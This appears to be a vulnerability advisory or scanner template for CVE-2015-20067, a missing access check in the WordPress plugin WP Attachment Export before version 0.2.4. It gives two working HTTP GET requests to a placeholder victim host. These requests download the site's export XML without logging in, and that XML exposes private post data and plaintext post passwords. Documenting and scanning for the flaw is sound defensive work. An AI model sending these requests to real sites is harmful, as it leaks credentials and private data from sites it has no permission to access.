| Title | WP Attachment Export < 0.2.4 - Unrestricted File Download |
|---|---|
| Author | r3Y3r53 |
| Severity | High |
| Impact | Unauthenticated attackers can download XML files containing sensitive attachment and post metadata including titles, author IDs, email addresses, and plaintext passwords for password-protected posts, potentially exposing confidential information and credentials from the WordPress site. |
| Remediation | Fixed in 0.2.4 |
| CVSS Score | 7.5 |
| EPSS Score | 0.19119 |
| CVE ID | CVE-2015-20067 |
| CWE ID | CWE-862 |
| Tags | wpscan packetstorm seclists cve cve2015 wordpress wp wp-plugin unauth wp-attachment-export wp_attachment_export_project vuln |
The plugin does not have proper access controls, allowing unauthenticated users to download the XML data that holds all the details of attachments/posts on a Wordpress powered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text.
GET /wp-admin/tools.php?content=attachment&wp-attachment-export-download=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/tools.php?content&wp-attachment-export-download=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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